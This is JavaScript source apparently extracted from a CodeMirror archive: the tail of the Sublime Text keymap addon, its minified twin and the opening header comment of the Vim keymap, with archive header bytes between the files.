        marks.push(cm.markText(from, to, {sublimeBookmark: true,
clearWhenEmpty: false}));
    }
  };

  cmds.clearBookmarks = function(cm) {
    var marks = cm.state.sublimeBookmarks;
    if (marks) for (var i = 0; i < marks.length; i++) marks[i].clear();
    marks.length = 0;
  };

  cmds.selectBookmarks = function(cm) {
    var marks = cm.state.sublimeBookmarks, ranges = [];
    if (marks) for (var i = 0; i < marks.length; i++) {
      var found = marks[i].find();
      if (!found)
        marks.splice(i--, 0);
      else
        ranges.push({anchor: found.from, head: found.to});
    }
    if (ranges.length)
      cm.setSelections(ranges, 0);
  };

  function modifyWordOrSelection(cm, mod) {
    cm.operation(function() {
      var ranges = cm.listSelections(), indices = [], replacements = [];
      for (var i = 0; i < ranges.length; i++) {
        var range = ranges[i];
        if (range.empty()) { indices.push(i);
replacements.push(""); }
        else replacements.push(mod(cm.getRange(range.from(), range.to())));
      }
      cm.replaceSelections(replacements, "around",
"case");
      for (var i = indices.length - 1, at; i >= 0; i--) {
        var range = ranges[indices[i]];
        if (at && CodeMirror.cmpPos(range.head, at) > 0)
continue;
        var word = wordAt(cm, range.head);
        at = word.from;
        cm.replaceRange(mod(word.word), word.from, word.to);
      }
    });
  }

  cmds.smartBackspace = function(cm) {
    if (cm.somethingSelected()) return CodeMirror.Pass;

    cm.operation(function() {
      var cursors = cm.listSelections();
      var indentUnit = cm.getOption("indentUnit");

      for (var i = cursors.length - 1; i >= 0; i--) {
        var cursor = cursors[i].head;
        var toStartOfLine = cm.getRange({line: cursor.line, ch: 0},
cursor);
        var column = CodeMirror.countColumn(toStartOfLine, null,
cm.getOption("tabSize"));

        // Delete by one character by default
        var deletePos = cm.findPosH(cursor, -1, "char", false);

        if (toStartOfLine && !/\S/.test(toStartOfLine) &&
column % indentUnit == 0) {
          var prevIndent = new Pos(cursor.line,
            CodeMirror.findColumn(toStartOfLine, column - indentUnit,
indentUnit));

          // Smart delete only if we found a valid prevIndent location
          if (prevIndent.ch != cursor.ch) deletePos = prevIndent;
        }

        cm.replaceRange("", deletePos, cursor,
"+delete");
      }
    });
  };

  cmds.delLineRight = function(cm) {
    cm.operation(function() {
      var ranges = cm.listSelections();
      for (var i = ranges.length - 1; i >= 0; i--)
        cm.replaceRange("", ranges[i].anchor,
Pos(ranges[i].to().line), "+delete");
      cm.scrollIntoView();
    });
  };

  cmds.upcaseAtCursor = function(cm) {
    modifyWordOrSelection(cm, function(str) { return str.toUpperCase(); });
  };
  cmds.downcaseAtCursor = function(cm) {
    modifyWordOrSelection(cm, function(str) { return str.toLowerCase(); });
  };

  cmds.setSublimeMark = function(cm) {
    if (cm.state.sublimeMark) cm.state.sublimeMark.clear();
    cm.state.sublimeMark = cm.setBookmark(cm.getCursor());
  };
  cmds.selectToSublimeMark = function(cm) {
    var found = cm.state.sublimeMark &&
cm.state.sublimeMark.find();
    if (found) cm.setSelection(cm.getCursor(), found);
  };
  cmds.deleteToSublimeMark = function(cm) {
    var found = cm.state.sublimeMark &&
cm.state.sublimeMark.find();
    if (found) {
      var from = cm.getCursor(), to = found;
      if (CodeMirror.cmpPos(from, to) > 0) { var tmp = to; to = from;
from = tmp; }
      cm.state.sublimeKilled = cm.getRange(from, to);
      cm.replaceRange("", from, to);
    }
  };
  cmds.swapWithSublimeMark = function(cm) {
    var found = cm.state.sublimeMark &&
cm.state.sublimeMark.find();
    if (found) {
      cm.state.sublimeMark.clear();
      cm.state.sublimeMark = cm.setBookmark(cm.getCursor());
      cm.setCursor(found);
    }
  };
  cmds.sublimeYank = function(cm) {
    if (cm.state.sublimeKilled != null)
      cm.replaceSelection(cm.state.sublimeKilled, null, "paste");
  };

  cmds.showInCenter = function(cm) {
    var pos = cm.cursorCoords(null, "local");
    cm.scrollTo(null, (pos.top + pos.bottom) / 2 -
cm.getScrollInfo().clientHeight / 2);
  };

  function getTarget(cm) {
    var from = cm.getCursor("from"), to =
cm.getCursor("to");
    if (CodeMirror.cmpPos(from, to) == 0) {
      var word = wordAt(cm, from);
      if (!word.word) return;
      from = word.from;
      to = word.to;
    }
    return {from: from, to: to, query: cm.getRange(from, to), word: word};
  }

  function findAndGoTo(cm, forward) {
    var target = getTarget(cm);
    if (!target) return;
    var query = target.query;
    var cur = cm.getSearchCursor(query, forward ? target.to : target.from);

    if (forward ? cur.findNext() : cur.findPrevious()) {
      cm.setSelection(cur.from(), cur.to());
    } else {
      cur = cm.getSearchCursor(query, forward ? Pos(cm.firstLine(), 0)
                                              :
cm.clipPos(Pos(cm.lastLine())));
      if (forward ? cur.findNext() : cur.findPrevious())
        cm.setSelection(cur.from(), cur.to());
      else if (target.word)
        cm.setSelection(target.from, target.to);
    }
  };
  cmds.findUnder = function(cm) { findAndGoTo(cm, true); };
  cmds.findUnderPrevious = function(cm) { findAndGoTo(cm,false); };
  cmds.findAllUnder = function(cm) {
    var target = getTarget(cm);
    if (!target) return;
    var cur = cm.getSearchCursor(target.query);
    var matches = [];
    var primaryIndex = -1;
    while (cur.findNext()) {
      matches.push({anchor: cur.from(), head: cur.to()});
      if (cur.from().line <= target.from.line && cur.from().ch
<= target.from.ch)
        primaryIndex++;
    }
    cm.setSelections(matches, primaryIndex);
  };


  var keyMap = CodeMirror.keyMap;
  keyMap.macSublime = {
    "Cmd-Left": "goLineStartSmart",
    "Shift-Tab": "indentLess",
    "Shift-Ctrl-K": "deleteLine",
    "Alt-Q": "wrapLines",
    "Ctrl-Left": "goSubwordLeft",
    "Ctrl-Right": "goSubwordRight",
    "Ctrl-Alt-Up": "scrollLineUp",
    "Ctrl-Alt-Down": "scrollLineDown",
    "Cmd-L": "selectLine",
    "Shift-Cmd-L": "splitSelectionByLine",
    "Esc": "singleSelectionTop",
    "Cmd-Enter": "insertLineAfter",
    "Shift-Cmd-Enter": "insertLineBefore",
    "Cmd-D": "selectNextOccurrence",
    "Shift-Cmd-Space": "selectScope",
    "Shift-Cmd-M": "selectBetweenBrackets",
    "Cmd-M": "goToBracket",
    "Cmd-Ctrl-Up": "swapLineUp",
    "Cmd-Ctrl-Down": "swapLineDown",
    "Cmd-/": "toggleCommentIndented",
    "Cmd-J": "joinLines",
    "Shift-Cmd-D": "duplicateLine",
    "F5": "sortLines",
    "Cmd-F5": "sortLinesInsensitive",
    "F2": "nextBookmark",
    "Shift-F2": "prevBookmark",
    "Cmd-F2": "toggleBookmark",
    "Shift-Cmd-F2": "clearBookmarks",
    "Alt-F2": "selectBookmarks",
    "Backspace": "smartBackspace",
    "Cmd-K Cmd-D": "skipAndSelectNextOccurrence",
    "Cmd-K Cmd-K": "delLineRight",
    "Cmd-K Cmd-U": "upcaseAtCursor",
    "Cmd-K Cmd-L": "downcaseAtCursor",
    "Cmd-K Cmd-Space": "setSublimeMark",
    "Cmd-K Cmd-A": "selectToSublimeMark",
    "Cmd-K Cmd-W": "deleteToSublimeMark",
    "Cmd-K Cmd-X": "swapWithSublimeMark",
    "Cmd-K Cmd-Y": "sublimeYank",
    "Cmd-K Cmd-C": "showInCenter",
    "Cmd-K Cmd-G": "clearBookmarks",
    "Cmd-K Cmd-Backspace": "delLineLeft",
    "Cmd-K Cmd-1": "foldAll",
    "Cmd-K Cmd-0": "unfoldAll",
    "Cmd-K Cmd-J": "unfoldAll",
    "Ctrl-Shift-Up": "addCursorToPrevLine",
    "Ctrl-Shift-Down": "addCursorToNextLine",
    "Cmd-F3": "findUnder",
    "Shift-Cmd-F3": "findUnderPrevious",
    "Alt-F3": "findAllUnder",
    "Shift-Cmd-[": "fold",
    "Shift-Cmd-]": "unfold",
    "Cmd-I": "findIncremental",
    "Shift-Cmd-I": "findIncrementalReverse",
    "Cmd-H": "replace",
    "F3": "findNext",
    "Shift-F3": "findPrev",
    "fallthrough": "macDefault"
  };
  CodeMirror.normalizeKeyMap(keyMap.macSublime);

  keyMap.pcSublime = {
    "Shift-Tab": "indentLess",
    "Shift-Ctrl-K": "deleteLine",
    "Alt-Q": "wrapLines",
    "Ctrl-T": "transposeChars",
    "Alt-Left": "goSubwordLeft",
    "Alt-Right": "goSubwordRight",
    "Ctrl-Up": "scrollLineUp",
    "Ctrl-Down": "scrollLineDown",
    "Ctrl-L": "selectLine",
    "Shift-Ctrl-L": "splitSelectionByLine",
    "Esc": "singleSelectionTop",
    "Ctrl-Enter": "insertLineAfter",
    "Shift-Ctrl-Enter": "insertLineBefore",
    "Ctrl-D": "selectNextOccurrence",
    "Shift-Ctrl-Space": "selectScope",
    "Shift-Ctrl-M": "selectBetweenBrackets",
    "Ctrl-M": "goToBracket",
    "Shift-Ctrl-Up": "swapLineUp",
    "Shift-Ctrl-Down": "swapLineDown",
    "Ctrl-/": "toggleCommentIndented",
    "Ctrl-J": "joinLines",
    "Shift-Ctrl-D": "duplicateLine",
    "F9": "sortLines",
    "Ctrl-F9": "sortLinesInsensitive",
    "F2": "nextBookmark",
    "Shift-F2": "prevBookmark",
    "Ctrl-F2": "toggleBookmark",
    "Shift-Ctrl-F2": "clearBookmarks",
    "Alt-F2": "selectBookmarks",
    "Backspace": "smartBackspace",
    "Ctrl-K Ctrl-D": "skipAndSelectNextOccurrence",
    "Ctrl-K Ctrl-K": "delLineRight",
    "Ctrl-K Ctrl-U": "upcaseAtCursor",
    "Ctrl-K Ctrl-L": "downcaseAtCursor",
    "Ctrl-K Ctrl-Space": "setSublimeMark",
    "Ctrl-K Ctrl-A": "selectToSublimeMark",
    "Ctrl-K Ctrl-W": "deleteToSublimeMark",
    "Ctrl-K Ctrl-X": "swapWithSublimeMark",
    "Ctrl-K Ctrl-Y": "sublimeYank",
    "Ctrl-K Ctrl-C": "showInCenter",
    "Ctrl-K Ctrl-G": "clearBookmarks",
    "Ctrl-K Ctrl-Backspace": "delLineLeft",
    "Ctrl-K Ctrl-1": "foldAll",
    "Ctrl-K Ctrl-0": "unfoldAll",
    "Ctrl-K Ctrl-J": "unfoldAll",
    "Ctrl-Alt-Up": "addCursorToPrevLine",
    "Ctrl-Alt-Down": "addCursorToNextLine",
    "Ctrl-F3": "findUnder",
    "Shift-Ctrl-F3": "findUnderPrevious",
    "Alt-F3": "findAllUnder",
    "Shift-Ctrl-[": "fold",
    "Shift-Ctrl-]": "unfold",
    "Ctrl-I": "findIncremental",
    "Shift-Ctrl-I": "findIncrementalReverse",
    "Ctrl-H": "replace",
    "F3": "findNext",
    "Shift-F3": "findPrev",
    "fallthrough": "pcDefault"
  };
  CodeMirror.normalizeKeyMap(keyMap.pcSublime);

  var mac = keyMap.default == keyMap.macDefault;
  keyMap.sublime = mac ? keyMap.macSublime : keyMap.pcSublime;
});
PKA��[���H;H;
codemirror/keymap/sublime.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../lib/codemirror"),require("../addon/search/searchcursor"),require("../addon/edit/matchbrackets")):"function"==typeof
define&&define.amd?define(["../lib/codemirror","../addon/search/searchcursor","../addon/edit/matchbrackets"],a):a(CodeMirror)})((function(a){"use
strict";function b(b,c,d){if(d<0&&0==c.ch)return
b.clipPos(o(c.line-1));var
e=b.getLine(c.line);if(d>0&&c.ch>=e.length)return
b.clipPos(o(c.line+1,0));for(var
f,g="start",h=c.ch,i=h,j=d<0?0:e.length,k=0;i!=j;i+=d,k++){var
l=e.charAt(d<0?i-1:i),m="_"!=l&&a.isWordChar(l)?"w":"o";if("w"==m&&l.toUpperCase()==l&&(m="W"),"start"==g)"o"!=m?(g="in",f=m):h=i+d;else
if("in"==g&&f!=m){if("w"==f&&"W"==m&&d<0&&i--,"W"==f&&"w"==m&&d>0){if(i==h+1){f="w";continue}i--}break}}return
o(c.line,i)}function c(a,c){a.extendSelectionsBy((function(d){return
a.display.shift||a.doc.extend||d.empty()?b(a.doc,d.head,c):c<0?d.from():d.to()}))}function
d(b,c){if(b.isReadOnly())return a.Pass;b.operation((function(){for(var
a=b.listSelections().length,d=[],e=-1,f=0;f<a;f++){var
g=b.listSelections()[f].head;if(!(g.line<=e)){var
h=o(g.line+(c?0:1),0);b.replaceRange("\n",h,null,"+insertLine"),b.indentLine(h.line,null,!0),d.push({head:h,anchor:h}),e=g.line+1}}b.setSelections(d)})),b.execCommand("indentAuto")}function
e(b,c){for(var
d=c.ch,e=d,f=b.getLine(c.line);d&&a.isWordChar(f.charAt(d-1));)--d;for(;e<f.length&&a.isWordChar(f.charAt(e));)++e;return{from:o(c.line,d),to:o(c.line,e),word:f.slice(d,e)}}function
f(a,b){for(var c=a.listSelections(),d=[],e=0;e<c.length;e++){var
f=c[e],g=a.findPosV(f.anchor,b,"line",f.anchor.goalColumn),h=a.findPosV(f.head,b,"line",f.head.goalColumn);g.goalColumn=null!=f.anchor.goalColumn?f.anchor.goalColumn:a.cursorCoords(f.anchor,"div").left,h.goalColumn=null!=f.head.goalColumn?f.head.goalColumn:a.cursorCoords(f.head,"div").left;var
i={anchor:g,head:h};d.push(f),d.push(i)}a.setSelections(d)}function
g(b,c,d){for(var
e=0;e<b.length;e++)if(0==a.cmpPos(b[e].from(),c)&&0==a.cmpPos(b[e].to(),d))return!0;return!1}function
h(b){for(var c=b.listSelections(),d=[],e=0;e<c.length;e++){var
f=c[e],g=f.head,h=b.scanForBracket(g,-1);if(!h)return!1;for(;;){var
i=b.scanForBracket(g,1);if(!i)return!1;if(i.ch==p.charAt(p.indexOf(h.ch)+1)){var
j=o(h.pos.line,h.pos.ch+1);if(0!=a.cmpPos(j,f.from())||0!=a.cmpPos(i.pos,f.to())){d.push({anchor:j,head:i.pos});break}if(!(h=b.scanForBracket(h.pos,-1)))return!1}g=o(i.pos.line,i.pos.ch+1)}}return
b.setSelections(d),!0}function i(a){return
a?/\bpunctuation\b/.test(a)?a:void 0:null}function
j(b,c){if(b.isReadOnly())return a.Pass;for(var
d,e=b.listSelections(),f=[],g=0;g<e.length;g++){var
h=e[g];if(!h.empty()){for(var
i=h.from().line,j=h.to().line;g<e.length-1&&e[g+1].from().line==j;)j=e[++g].to().line;e[g].to().ch||j--,f.push(i,j)}}f.length?d=!0:f.push(b.firstLine(),b.lastLine()),b.operation((function(){for(var
a=[],e=0;e<f.length;e+=2){var
g=f[e],h=f[e+1],i=o(g,0),j=o(h),k=b.getRange(i,j,!1);c?k.sort():k.sort((function(a,b){var
c=a.toUpperCase(),d=b.toUpperCase();return
c!=d&&(a=c,b=d),a<b?-1:a==b?0:1})),b.replaceRange(k,i,j),d&&a.push({anchor:i,head:o(h+1,0)})}d&&b.setSelections(a,0)}))}function
k(b,c){b.operation((function(){for(var
d=b.listSelections(),f=[],g=[],h=0;h<d.length;h++){var
i=d[h];i.empty()?(f.push(h),g.push("")):g.push(c(b.getRange(i.from(),i.to())))}b.replaceSelections(g,"around","case");for(var
j,h=f.length-1;h>=0;h--){var
i=d[f[h]];if(!(j&&a.cmpPos(i.head,j)>0)){var
k=e(b,i.head);j=k.from,b.replaceRange(c(k.word),k.from,k.to)}}}))}function
l(b){var
c=b.getCursor("from"),d=b.getCursor("to");if(0==a.cmpPos(c,d)){var
f=e(b,c);if(!f.word)return;c=f.from,d=f.to}return{from:c,to:d,query:b.getRange(c,d),word:f}}function
m(a,b){var c=l(a);if(c){var
d=c.query,e=a.getSearchCursor(d,b?c.to:c.from);(b?e.findNext():e.findPrevious())?a.setSelection(e.from(),e.to()):(e=a.getSearchCursor(d,b?o(a.firstLine(),0):a.clipPos(o(a.lastLine()))),(b?e.findNext():e.findPrevious())?a.setSelection(e.from(),e.to()):c.word&&a.setSelection(c.from,c.to))}}var
n=a.commands,o=a.Pos;n.goSubwordLeft=function(a){c(a,-1)},n.goSubwordRight=function(a){c(a,1)},n.scrollLineUp=function(a){var
b=a.getScrollInfo();if(!a.somethingSelected()){var
c=a.lineAtHeight(b.top+b.clientHeight,"local");a.getCursor().line>=c&&a.execCommand("goLineUp")}a.scrollTo(null,b.top-a.defaultTextHeight())},n.scrollLineDown=function(a){var
b=a.getScrollInfo();if(!a.somethingSelected()){var
c=a.lineAtHeight(b.top,"local")+1;a.getCursor().line<=c&&a.execCommand("goLineDown")}a.scrollTo(null,b.top+a.defaultTextHeight())},n.splitSelectionByLine=function(a){for(var
b=a.listSelections(),c=[],d=0;d<b.length;d++)for(var
e=b[d].from(),f=b[d].to(),g=e.line;g<=f.line;++g)f.line>e.line&&g==f.line&&0==f.ch||c.push({anchor:g==e.line?e:o(g,0),head:g==f.line?f:o(g)});a.setSelections(c,0)},n.singleSelectionTop=function(a){var
b=a.listSelections()[0];a.setSelection(b.anchor,b.head,{scroll:!1})},n.selectLine=function(a){for(var
b=a.listSelections(),c=[],d=0;d<b.length;d++){var
e=b[d];c.push({anchor:o(e.from().line,0),head:o(e.to().line+1,0)})}a.setSelections(c)},n.insertLineAfter=function(a){return
d(a,!1)},n.insertLineBefore=function(a){return
d(a,!0)},n.selectNextOccurrence=function(b){var
c=b.getCursor("from"),d=b.getCursor("to"),f=b.state.sublimeFindFullWord==b.doc.sel;if(0==a.cmpPos(c,d)){var
h=e(b,c);if(!h.word)return;b.setSelection(h.from,h.to),f=!0}else{var
i=b.getRange(c,d),j=f?new
RegExp("\\b"+i+"\\b"):i,k=b.getSearchCursor(j,d),l=k.findNext();if(l||(k=b.getSearchCursor(j,o(b.firstLine(),0)),l=k.findNext()),!l||g(b.listSelections(),k.from(),k.to()))return;b.addSelection(k.from(),k.to())}f&&(b.state.sublimeFindFullWord=b.doc.sel)},n.skipAndSelectNextOccurrence=function(b){var
c=b.getCursor("anchor"),d=b.getCursor("head");n.selectNextOccurrence(b),0!=a.cmpPos(c,d)&&b.doc.setSelections(b.doc.listSelections().filter((function(a){return
a.anchor!=c||a.head!=d})))},n.addCursorToPrevLine=function(a){f(a,-1)},n.addCursorToNextLine=function(a){f(a,1)};var
p="(){}[]";n.selectScope=function(a){h(a)||a.execCommand("selectAll")},n.selectBetweenBrackets=function(b){if(!h(b))return
a.Pass},n.goToBracket=function(b){b.extendSelectionsBy((function(c){var
d=b.scanForBracket(c.head,1,i(b.getTokenTypeAt(c.head)));if(d&&0!=a.cmpPos(d.pos,c.head))return
d.pos;var
e=b.scanForBracket(c.head,-1,i(b.getTokenTypeAt(o(c.head.line,c.head.ch+1))));return
e&&o(e.pos.line,e.pos.ch+1)||c.head}))},n.swapLineUp=function(b){if(b.isReadOnly())return
a.Pass;for(var
c=b.listSelections(),d=[],e=b.firstLine()-1,f=[],g=0;g<c.length;g++){var
h=c[g],i=h.from().line-1,j=h.to().line;f.push({anchor:o(h.anchor.line-1,h.anchor.ch),head:o(h.head.line-1,h.head.ch)}),0!=h.to().ch||h.empty()||--j,i>e?d.push(i,j):d.length&&(d[d.length-1]=j),e=j}b.operation((function(){for(var
a=0;a<d.length;a+=2){var
c=d[a],e=d[a+1],g=b.getLine(c);b.replaceRange("",o(c,0),o(c+1,0),"+swapLine"),e>b.lastLine()?b.replaceRange("\n"+g,o(b.lastLine()),null,"+swapLine"):b.replaceRange(g+"\n",o(e,0),null,"+swapLine")}b.setSelections(f),b.scrollIntoView()}))},n.swapLineDown=function(b){if(b.isReadOnly())return
a.Pass;for(var
c=b.listSelections(),d=[],e=b.lastLine()+1,f=c.length-1;f>=0;f--){var
g=c[f],h=g.to().line+1,i=g.from().line;0!=g.to().ch||g.empty()||h--,h<e?d.push(h,i):d.length&&(d[d.length-1]=i),e=i}b.operation((function(){for(var
a=d.length-2;a>=0;a-=2){var
c=d[a],e=d[a+1],f=b.getLine(c);c==b.lastLine()?b.replaceRange("",o(c-1),o(c),"+swapLine"):b.replaceRange("",o(c,0),o(c+1,0),"+swapLine"),b.replaceRange(f+"\n",o(e,0),null,"+swapLine")}b.scrollIntoView()}))},n.toggleCommentIndented=function(a){a.toggleComment({indent:!0})},n.joinLines=function(a){for(var
b=a.listSelections(),c=[],d=0;d<b.length;d++){for(var
e=b[d],f=e.from(),g=f.line,h=e.to().line;d<b.length-1&&b[d+1].from().line==h;)h=b[++d].to().line;c.push({start:g,end:h,anchor:!e.empty()&&f})}a.operation((function(){for(var
b=0,d=[],e=0;e<c.length;e++){for(var
f,g=c[e],h=g.anchor&&o(g.anchor.line-b,g.anchor.ch),i=g.start;i<=g.end;i++){var
j=i-b;i==g.end&&(f=o(j,a.getLine(j).length+1)),j<a.lastLine()&&(a.replaceRange("
",o(j),o(j+1,/^\s*/.exec(a.getLine(j+1))[0].length)),++b)}d.push({anchor:h||f,head:f})}a.setSelections(d,0)}))},n.duplicateLine=function(a){a.operation((function(){for(var
b=a.listSelections().length,c=0;c<b;c++){var
d=a.listSelections()[c];d.empty()?a.replaceRange(a.getLine(d.head.line)+"\n",o(d.head.line,0)):a.replaceRange(a.getRange(d.from(),d.to()),d.from())}a.scrollIntoView()}))},n.sortLines=function(a){j(a,!0)},n.sortLinesInsensitive=function(a){j(a,!1)},n.nextBookmark=function(a){var
b=a.state.sublimeBookmarks;if(b)for(;b.length;){var
c=b.shift(),d=c.find();if(d)return
b.push(c),a.setSelection(d.from,d.to)}},n.prevBookmark=function(a){var
b=a.state.sublimeBookmarks;if(b)for(;b.length;){b.unshift(b.pop());var
c=b[b.length-1].find();if(c)return
a.setSelection(c.from,c.to);b.pop()}},n.toggleBookmark=function(a){for(var
b=a.listSelections(),c=a.state.sublimeBookmarks||(a.state.sublimeBookmarks=[]),d=0;d<b.length;d++){for(var
e=b[d].from(),f=b[d].to(),g=b[d].empty()?a.findMarksAt(e):a.findMarks(e,f),h=0;h<g.length;h++)if(g[h].sublimeBookmark){g[h].clear();for(var
i=0;i<c.length;i++)c[i]==g[h]&&c.splice(i--,1);break}h==g.length&&c.push(a.markText(e,f,{sublimeBookmark:!0,clearWhenEmpty:!1}))}},n.clearBookmarks=function(a){var
b=a.state.sublimeBookmarks;if(b)for(var
c=0;c<b.length;c++)b[c].clear();b.length=0},n.selectBookmarks=function(a){var
b=a.state.sublimeBookmarks,c=[];if(b)for(var d=0;d<b.length;d++){var
e=b[d].find();e?c.push({anchor:e.from,head:e.to}):b.splice(d--,0)}c.length&&a.setSelections(c,0)},n.smartBackspace=function(b){if(b.somethingSelected())return
a.Pass;b.operation((function(){for(var
c=b.listSelections(),d=b.getOption("indentUnit"),e=c.length-1;e>=0;e--){var
f=c[e].head,g=b.getRange({line:f.line,ch:0},f),h=a.countColumn(g,null,b.getOption("tabSize")),i=b.findPosH(f,-1,"char",!1);if(g&&!/\S/.test(g)&&h%d==0){var
j=new
o(f.line,a.findColumn(g,h-d,d));j.ch!=f.ch&&(i=j)}b.replaceRange("",i,f,"+delete")}}))},n.delLineRight=function(a){a.operation((function(){for(var
b=a.listSelections(),c=b.length-1;c>=0;c--)a.replaceRange("",b[c].anchor,o(b[c].to().line),"+delete");a.scrollIntoView()}))},n.upcaseAtCursor=function(a){k(a,(function(a){return
a.toUpperCase()}))},n.downcaseAtCursor=function(a){k(a,(function(a){return
a.toLowerCase()}))},n.setSublimeMark=function(a){a.state.sublimeMark&&a.state.sublimeMark.clear(),a.state.sublimeMark=a.setBookmark(a.getCursor())},n.selectToSublimeMark=function(a){var
b=a.state.sublimeMark&&a.state.sublimeMark.find();b&&a.setSelection(a.getCursor(),b)},n.deleteToSublimeMark=function(b){var
c=b.state.sublimeMark&&b.state.sublimeMark.find();if(c){var
d=b.getCursor(),e=c;if(a.cmpPos(d,e)>0){var
f=e;e=d,d=f}b.state.sublimeKilled=b.getRange(d,e),b.replaceRange("",d,e)}},n.swapWithSublimeMark=function(a){var
b=a.state.sublimeMark&&a.state.sublimeMark.find();b&&(a.state.sublimeMark.clear(),a.state.sublimeMark=a.setBookmark(a.getCursor()),a.setCursor(b))},n.sublimeYank=function(a){null!=a.state.sublimeKilled&&a.replaceSelection(a.state.sublimeKilled,null,"paste")},n.showInCenter=function(a){var
b=a.cursorCoords(null,"local");a.scrollTo(null,(b.top+b.bottom)/2-a.getScrollInfo().clientHeight/2)},n.findUnder=function(a){m(a,!0)},n.findUnderPrevious=function(a){m(a,!1)},n.findAllUnder=function(a){var
b=l(a);if(b){for(var
c=a.getSearchCursor(b.query),d=[],e=-1;c.findNext();)d.push({anchor:c.from(),head:c.to()}),c.from().line<=b.from.line&&c.from().ch<=b.from.ch&&e++;a.setSelections(d,e)}};var
q=a.keyMap;q.macSublime={"Cmd-Left":"goLineStartSmart","Shift-Tab":"indentLess","Shift-Ctrl-K":"deleteLine","Alt-Q":"wrapLines","Ctrl-Left":"goSubwordLeft","Ctrl-Right":"goSubwordRight","Ctrl-Alt-Up":"scrollLineUp","Ctrl-Alt-Down":"scrollLineDown","Cmd-L":"selectLine","Shift-Cmd-L":"splitSelectionByLine",Esc:"singleSelectionTop","Cmd-Enter":"insertLineAfter","Shift-Cmd-Enter":"insertLineBefore","Cmd-D":"selectNextOccurrence","Shift-Cmd-Space":"selectScope","Shift-Cmd-M":"selectBetweenBrackets","Cmd-M":"goToBracket","Cmd-Ctrl-Up":"swapLineUp","Cmd-Ctrl-Down":"swapLineDown","Cmd-/":"toggleCommentIndented","Cmd-J":"joinLines","Shift-Cmd-D":"duplicateLine",F5:"sortLines","Cmd-F5":"sortLinesInsensitive",F2:"nextBookmark","Shift-F2":"prevBookmark","Cmd-F2":"toggleBookmark","Shift-Cmd-F2":"clearBookmarks","Alt-F2":"selectBookmarks",Backspace:"smartBackspace","Cmd-K
Cmd-D":"skipAndSelectNextOccurrence","Cmd-K
Cmd-K":"delLineRight","Cmd-K
Cmd-U":"upcaseAtCursor","Cmd-K
Cmd-L":"downcaseAtCursor","Cmd-K
Cmd-Space":"setSublimeMark","Cmd-K
Cmd-A":"selectToSublimeMark","Cmd-K
Cmd-W":"deleteToSublimeMark","Cmd-K
Cmd-X":"swapWithSublimeMark","Cmd-K
Cmd-Y":"sublimeYank","Cmd-K
Cmd-C":"showInCenter","Cmd-K
Cmd-G":"clearBookmarks","Cmd-K
Cmd-Backspace":"delLineLeft","Cmd-K
Cmd-1":"foldAll","Cmd-K
Cmd-0":"unfoldAll","Cmd-K
Cmd-J":"unfoldAll","Ctrl-Shift-Up":"addCursorToPrevLine","Ctrl-Shift-Down":"addCursorToNextLine","Cmd-F3":"findUnder","Shift-Cmd-F3":"findUnderPrevious","Alt-F3":"findAllUnder","Shift-Cmd-[":"fold","Shift-Cmd-]":"unfold","Cmd-I":"findIncremental","Shift-Cmd-I":"findIncrementalReverse","Cmd-H":"replace",F3:"findNext","Shift-F3":"findPrev",fallthrough:"macDefault"},a.normalizeKeyMap(q.macSublime),q.pcSublime={"Shift-Tab":"indentLess","Shift-Ctrl-K":"deleteLine","Alt-Q":"wrapLines","Ctrl-T":"transposeChars","Alt-Left":"goSubwordLeft","Alt-Right":"goSubwordRight","Ctrl-Up":"scrollLineUp","Ctrl-Down":"scrollLineDown","Ctrl-L":"selectLine","Shift-Ctrl-L":"splitSelectionByLine",Esc:"singleSelectionTop","Ctrl-Enter":"insertLineAfter","Shift-Ctrl-Enter":"insertLineBefore","Ctrl-D":"selectNextOccurrence","Shift-Ctrl-Space":"selectScope","Shift-Ctrl-M":"selectBetweenBrackets","Ctrl-M":"goToBracket","Shift-Ctrl-Up":"swapLineUp","Shift-Ctrl-Down":"swapLineDown","Ctrl-/":"toggleCommentIndented","Ctrl-J":"joinLines","Shift-Ctrl-D":"duplicateLine",F9:"sortLines","Ctrl-F9":"sortLinesInsensitive",F2:"nextBookmark","Shift-F2":"prevBookmark","Ctrl-F2":"toggleBookmark","Shift-Ctrl-F2":"clearBookmarks","Alt-F2":"selectBookmarks",Backspace:"smartBackspace","Ctrl-K
Ctrl-D":"skipAndSelectNextOccurrence","Ctrl-K
Ctrl-K":"delLineRight","Ctrl-K
Ctrl-U":"upcaseAtCursor","Ctrl-K
Ctrl-L":"downcaseAtCursor","Ctrl-K
Ctrl-Space":"setSublimeMark","Ctrl-K
Ctrl-A":"selectToSublimeMark","Ctrl-K
Ctrl-W":"deleteToSublimeMark","Ctrl-K
Ctrl-X":"swapWithSublimeMark","Ctrl-K
Ctrl-Y":"sublimeYank","Ctrl-K
Ctrl-C":"showInCenter","Ctrl-K
Ctrl-G":"clearBookmarks","Ctrl-K
Ctrl-Backspace":"delLineLeft","Ctrl-K
Ctrl-1":"foldAll","Ctrl-K
Ctrl-0":"unfoldAll","Ctrl-K
Ctrl-J":"unfoldAll","Ctrl-Alt-Up":"addCursorToPrevLine","Ctrl-Alt-Down":"addCursorToNextLine","Ctrl-F3":"findUnder","Shift-Ctrl-F3":"findUnderPrevious","Alt-F3":"findAllUnder","Shift-Ctrl-[":"fold","Shift-Ctrl-]":"unfold","Ctrl-I":"findIncremental","Shift-Ctrl-I":"findIncrementalReverse","Ctrl-H":"replace",F3:"findNext","Shift-F3":"findPrev",fallthrough:"pcDefault"},a.normalizeKeyMap(q.pcSublime);var
r=q.default==q.macDefault;q.sublime=r?q.macSublime:q.pcSublime}));PKA��[��"�N�Ncodemirror/keymap/vim.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/**
 * Supported keybindings:
 *   Too many to list. Refer to defaultKeymap below.
 *
 * Supported Ex commands:
 *   Refer to defaultExCommandMap below.
 *
 * Registers: unnamed, -, a-z, A-Z, 0-9
 *   (Does not respect the special case for number registers when delete
 *    operator is made with these commands: %, (, ),  , /, ?, n, N, {, } )
 *   TODO: Implement the remaining registers.
 *
 * Marks: a-z, A-Z, and 0-9
 *   TODO: Implement the remaining special marks. They have more complex
 *       behavior.
 *
 * Events:
 *  'vim-mode-change' - raised on the editor anytime the current
mode changes,
 *                      Event object: {mode: "visual", subMode:
"linewise"}
 *
 * Code structure:
 *  1. Default keymap
 *  2. Variable declarations and short basic helpers
 *  3. Instance (External API) implementation
 *  4. Internal state tracking objects (input state, counter)
implementation
 *     and instantiation
 *  5. Key handler (the main command dispatcher) implementation
